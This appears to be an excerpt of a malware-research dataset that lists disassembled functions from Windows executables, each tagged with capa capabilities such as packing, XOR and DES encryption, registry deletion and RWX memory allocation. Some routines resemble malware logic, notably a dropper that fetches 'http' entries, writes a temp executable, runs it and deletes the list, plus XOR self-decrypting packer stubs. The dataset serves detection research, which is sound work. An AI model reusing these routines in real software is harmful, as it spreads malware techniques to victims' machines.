joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40101a
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
push 0
mov ecx, dword [ebp - 4]
jmp loc.00427b7c

Function at 0x401708
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 4]
call fcn.00404460
mov eax, dword [ebp - 4]
jmp loc.00427175

Function at 0x401727
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov dword [eax], 0x40d848
mov ecx, dword [ebp - 4]
jmp loc.00425cde

Function at 0x404170
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
jmp loc.00425efa

Function at 0x404200
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
jmp loc.00425123

Function at 0x404260
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
push eax
jmp loc.004273be

Function at 0x404280
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
jmp loc.004250c0

Function at 0x4042a0
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
and eax, 0xffff
push eax
jmp loc.00422dfc

Function at 0x404370
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
jmp loc.0042428e

Function at 0x4043a0
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
push 0
push 0
push 0x1009
jmp loc.004233d7

Function at 0x404490
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40bdf9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
jmp loc.0042354e

Function at 0x404927
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40be83
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
mov dword [ebp - 0x24], ecx
jmp loc.004279f2

Function at 0x404e31
Capabilities:
Get disk information
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov ecx, dword [ebp + 8]
call fcn.00404190
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 2
je fcn.00404e5d
cmp dword [ebp - 4], 5
je fcn.00404e5d
jmp loc.004238ab

Function at 0x404e9d
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
jmp loc.004227bc

Function at 0x404f0c
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40bf26
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18c
mov dword [ebp - 0x188], ecx
jmp loc.0042448b
Function at 0x405272
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 4]
call fcn.0040529b
test eax, eax
je fcn.00405295
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 4]
jmp loc.00422839

Function at 0x40529b
Capabilities:
Delete registry value
Enumerate files on windows
Get geographical location
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40bf51
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x168
jmp loc.00427308

Function at 0x405531
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
jmp loc.00428444

Function at 0x405880
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
jmp loc.00424a0c

Function at 0x405920
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
jmp loc.00427280

Function at 0x405980
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
push eax
push 0
push 0x1101
jmp loc.0042776c

Function at 0x4059b0
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 0x1102
jmp loc.00424304

Function at 0x405a20
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
jmp loc.0042539b

Function at 0x405a80
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
push eax
push 3
push 0x110a
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x20]
push edx
jmp loc.00424de1

Function at 0x405b10
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
jmp loc.00422e90

Function at 0x405b30
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
jmp loc.00426eea

Function at 0x40b21b
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
push 1
push 0
mov ecx, dword [ebp - 8]
add ecx, 0xc0
jmp loc.00423b05

Function at 0x40b4b0
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
jmp loc.0042325d

Function at 0x40baa6
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40ded8
push 0x40bc2c
jmp loc.00427363

Function at 0x40bc16
Capabilities:
Packed with generic packer

Disassembly:
push 0x30000
jmp loc.00428542

Function at 0x422031
Capabilities:
Packed with generic packer

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
push ebx
push edi
xor eax, eax
xor eax, eax
push 0x40b79d
xor edx, edx
push 0x40b766
mov eax, dword [sym.imp.GDI32.dll_CreateSolidBrush]
add esp, 0x10
leave
popal
popfd
call sub.MFC42.DLL_AfxGetModuleState
jmp loc.0040bc55
Function at 0x423da8
Capabilities:
Packed with generic packer

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
push ebx
push edi
push 0x20
push 0x8001
push 8
push 0x2b4
push eax
push 0x40931c
push 0x409304
push 0x46ad20
push eax
mov edi, 0x4c3000
push edi
mov eax, edi
add esp, 0x30
leave
popal
popfd
jmp loc.00405262

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x42e030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x4011a0
Capabilities:
Encrypt data using des

Disassembly:
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
push edi
push 0x40
push eax
push 0x404624
call fcn.004014e0
push 0x40
push 0x4030d0
push 0x404624
push 0x404624
call fcn.00401400
mov al, byte [esp + 0x3c]
add esp, 0x1c
test al, al
jne 0x40122b
mov ebx, dword [esp + 0x1c]
mov ebp, 0x10
mov eax, dword [0x404014]
mov ecx, 8
mov esi, eax
mov edi, 0x404604
push ebx
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00401340
mov ecx, dword [0x404010]
mov edx, dword [0x404014]
push 0x20
push ecx
push edx
call fcn.00401450
mov edi, dword [0x404010]
add esp, 0x14
mov ecx, 8
mov esi, 0x404604
add ebx, 0x30
dec ebp
rep movsd dword es:[edi], dword [esi]
jne 0x4011df
jmp 0x401284
mov eax, dword [esp + 0x1c]
mov ebp, 0x10
lea ebx, [eax + 0x2d0]
mov eax, dword [0x404010]
mov ecx, 8
mov esi, eax
mov edi, 0x404604
push ebx
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00401340
mov ecx, dword [0x404014]
mov edx, dword [0x404010]
push 0x20
push ecx
push edx
call fcn.00401450
mov edi, dword [0x404014]
add esp, 0x14
mov ecx, 8
mov esi, 0x404604
sub ebx, 0x30
dec ebp
rep movsd dword es:[edi], dword [esi]
jne 0x40123a
push 0x40
push 0x403110
push 0x404624
push 0x404624
call fcn.00401400
mov eax, dword [esp + 0x24]
push 0x40
push 0x404624
push eax
call fcn.00401520
add esp, 0x1c
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x4012c0
Capabilities:
Encrypt data using des

Disassembly:
mov eax, dword [esp + 8]
push esi
push edi
push 0x40
push eax
push 0x4045c4
call fcn.004014e0
push 0x38
push str.91__
push 0x4045c4
push 0x4045c4
call fcn.00401400
mov edi, dword [esp + 0x28]
add esp, 0x1c
xor esi, esi
movsx ecx, byte [esi + 0x403208]
mov edx, dword [0x404018]
push ecx
push 0x1c
push edx
call fcn.00401480
movsx eax, byte [esi + 0x403208]
mov ecx, dword [0x40401c]
push eax
push 0x1c
push ecx
call fcn.00401480
push 0x30
push 0x4031d8
push 0x4045c4
push edi
call fcn.00401400
add esp, 0x28
inc esi
add edi, 0x30
cmp esi, 0x10
jl 0x4012f2
pop edi
pop esi
ret

Function at 0x401340
Capabilities:
Encrypt data using des

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0x30
push 0x403150
push esi
push 0x404594
call fcn.00401400
mov eax, dword [esp + 0x1c]
push 0x30
push eax
push 0x404594
call fcn.00401450
push 0x404594
push esi
call fcn.00401390
push 0x20
push 0x403180
push esi
push esi
call fcn.00401400
add esp, 0x34
pop esi
ret

Function at 0x401450
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0x10]
test esi, esi
jle 0x401472
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
push ebx
sub ecx, eax
mov dl, byte [ecx + eax]
mov bl, byte [eax]
xor bl, dl
mov byte [eax], bl
inc eax
dec esi
jne 0x401464
pop ebx
pop esi
ret
Function at 0x401890
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push esi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xff
call fcn.00401830
push 0x6f
mov esi, eax
call fcn.00401830
imul esi, eax
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 0x10
call dword [sym.imp.MSVCRT.dll_rand]
mov ecx, dword [esp + 0x110]
add esi, eax
mov eax, dword [esp + 0x10c]
push ecx
lea edx, [esp + 8]
push esi
push edx
push str._s_d._s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
pop esi
add esp, 0x104
ret

Function at 0x401910
Capabilities:
Parse pe header
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
push esi
push 0x404540
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x401932
pop esi
add esp, 8
ret
push ebx
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
push 0
push 0
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea ecx, [esp + 0x2c]
push 2
push ecx
call ebx
add esp, 0x1c
cmp word [esp + 0x18], 0x5a4d
jne 0x4019ae
push 0
push 0x3c
push esi
call edi
push esi
push 1
lea edx, [esp + 0x20]
push 4
push edx
call ebx
mov eax, dword [esp + 0x28]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x40]
push 4
push ecx
call ebx
mov eax, dword [esp + 0x48]
add esp, 0x38
xor edx, edx
cmp eax, 0x4550
sete dl
push esi
mov edi, edx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret
push esi
xor edi, edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret

Function at 0x4019d0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x54
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
lea ecx, [esp + 0x14]
mov edx, dword [esp + 0x5c]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edx
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x68], 4
mov word [esp + 0x6c], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
je 0x401a36
mov eax, dword [esp]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 8]
push ecx
call esi
pop esi
add esp, 0x54
ret
Function at 0x401a40
Capabilities:
Delete file

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x208
push esi
push 0x404540
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x401b46
lea ecx, [esp + 4]
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_fscanf]
push ecx
push 0x404548
push esi
call ebp
add esp, 0xc
cmp eax, 0xffffffff
je 0x401b2d
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
cmp byte [esp + 0x10], 0x68
jne 0x401b12
cmp byte [esp + 0x11], 0x74
jne 0x401b12
cmp byte [esp + 0x12], 0x74
jne 0x401b12
cmp byte [esp + 0x13], 0x70
jne 0x401b12
lea edx, [esp + 0x114]
push 0x404544
push edx
call fcn.00401890
lea eax, [esp + 0x11c]
lea ecx, [esp + 0x18]
push eax
push ecx
call fcn.00401570
lea edx, [esp + 0x124]
push edx
call fcn.00401910
add esp, 0x14
test eax, eax
je 0x401af7
lea eax, [esp + 0x114]
push eax
call fcn.004019d0
add esp, 4
push 0x1f4
call ebx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x114]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x10]
push ecx
push 0x404548
push esi
call ebp
add esp, 0xc
cmp eax, 0xffffffff
jne 0x401a8c
pop edi
pop ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov edx, dword [esp + 0x218]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop ebp
pop esi
add esp, 0x208
ret
Function at 0x401da0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.MyTemp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0xf], 0
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0xc]
and ecx, 3
push 0x40454c
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x401e33
mov ecx, dword [esp + 0x114]
push esi
push ecx
call dword [sym.imp.MSVCRT.dll_fputs]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0xc
pop edi
pop esi
pop ebp
add esp, 0x104
ret

Function at 0x402030
Capabilities:
Get common file path

Disassembly:
push esi
push edi
push 0x104
push 0x404d78
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Debugs.inf
or ecx, 0xffffffff
xor eax, eax
push 0x404540
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x404d78
mov esi, edi
mov edx, ecx
mov edi, 0x404d78
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_fopen]
call esi
add esp, 8
test eax, eax
jne 0x4020aa
push 0x40454c
push 0x404d78
call esi
add esp, 8
test eax, eax
jne 0x4020a5
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
pop edi
xor eax, eax
pop esi
ret
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, 1
pop edi
pop esi
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403d7a
nop
sub eax, 0x403d20
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x4030f8
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004048b4
test esi, esi
jne 0x40312e
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004049a4
jmp 0x40314c
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402f9c
mov edi, eax
test esi, esi
je 0x40314c
cmp dword [ebx], 0
je 0x40314c
dec esi
jmp 0x403135
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403848
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x479020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4038e0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4038c0
xor eax, eax
push ebp
push 0x4038b9
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4038fc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4038c0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x479020]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x479020], ax
mov esp, ebp
pop ebp
ret

Function at 0x404734
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x47b04c], 0
je 0x404795
cmp word [0x47b220], 0xd7b2
jne 0x40475d
cmp dword [0x47b228], 0
jbe 0x40475d
mov eax, 0x47b21c
call dword [0x47b238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4047bc
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x47902c], 0
jne 0x4047b1
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x4087b8
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, eax
mov eax, edx
test esi, esi
je 0x408848
mov edx, dword [esi - 4]
mov edi, eax
test edx, edx
jle 0x408848
mov ecx, dword [eax]
mov ebx, edx
test ecx, ecx
je 0x4087fb
test edx, 3
jne 0x4087ea
xor edx, dword [ecx - 4]
cmp edx, 3
jbe 0x4087f5
jmp 0x4087fb
or edx, 2
xor edx, dword [ecx - 4]
cmp edx, 1
ja 0x4087fb
cmp dword [ecx - 8], 1
je 0x408805
mov edx, ebx
or edx, 3
call fcn.00405000
mov edi, dword [edi]
mov dword [edi - 4], ebx
mov byte [edi + ebx], 0
add ebx, 0xffffffff
and ebx, 0xfffffffc
mov eax, dword [esi + ebx]
mov ecx, eax
or eax, 0x80808080
mov edx, eax
sub eax, 0x7b7b7b7b
xor edx, ecx
or eax, 0x80808080
sub eax, 0x66666666
and eax, edx
shr eax, 2
xor eax, ecx
mov dword [edi + ebx], eax
mov eax, dword [esi + ebx - 4]
sub ebx, 4
jge 0x408817
pop edi
pop esi
pop ebx
ret
pop edi
pop esi
pop ebx
jmp fcn.004048b4

Function at 0x408854
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, eax
mov eax, edx
test esi, esi
je 0x4088e4
mov edx, dword [esi - 4]
mov edi, eax
test edx, edx
jle 0x4088e4
mov ecx, dword [eax]
mov ebx, edx
test ecx, ecx
je 0x408897
test edx, 3
jne 0x408886
xor edx, dword [ecx - 4]
cmp edx, 3
jbe 0x408891
jmp 0x408897
or edx, 2
xor edx, dword [ecx - 4]
cmp edx, 1
ja 0x408897
cmp dword [ecx - 8], 1
je 0x4088a1
mov edx, ebx
or edx, 3
call fcn.00405000
mov edi, dword [edi]
mov dword [edi - 4], ebx
mov byte [edi + ebx], 0
add ebx, 0xffffffff
and ebx, 0xfffffffc
mov eax, dword [esi + ebx]
mov ecx, eax
or eax, 0x80808080
mov edx, eax
sub eax, 0x5b5b5b5b
xor edx, ecx
or eax, 0x80808080
sub eax, 0x66666666
and eax, edx
shr eax, 2
xor eax, ecx
mov dword [edi + ebx], eax
mov eax, dword [esi + ebx - 4]
sub ebx, 4
jge 0x4088b3
pop edi
pop esi
pop ebx
ret
pop edi
pop esi
pop ebx
jmp fcn.004048b4

Function at 0x4091b0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00404d78
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x4091c9
test al, 0x10
jne 0x4091cd
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x40bf20
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40bf59
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004049a4
jmp 0x40bf62
mov eax, ebx
mov edx, esi
call fcn.00404908
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40bf6c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40bf8e
movzx eax, byte [esp]
jmp 0x40bf90
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x40cf78
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40d04e
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 4]
mov edx, ebx
call fcn.0040494c
lea eax, [ebp - 4]
call fcn.00404dc8
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00404d78
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40d038
mov eax, ebx
call fcn.00402cac
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40d031
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00404d78
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40d01b
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40d060
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40d01b
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d038
mov eax, dword [ebp - 0x10]
call fcn.00402cc8
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d055
lea eax, [ebp - 4]
call fcn.004048b4
ret

Function at 0x42331c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x47e304
cmp dword [edi], 0
jne 0x423398
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x47e300]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x479c0c
mov ecx, 2
call fcn.00402e9c
mov edx, 0x4232f4
lea eax, [esi + 5]
call fcn.00423314
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00423314
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x42336d
mov dword [0x47e300], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8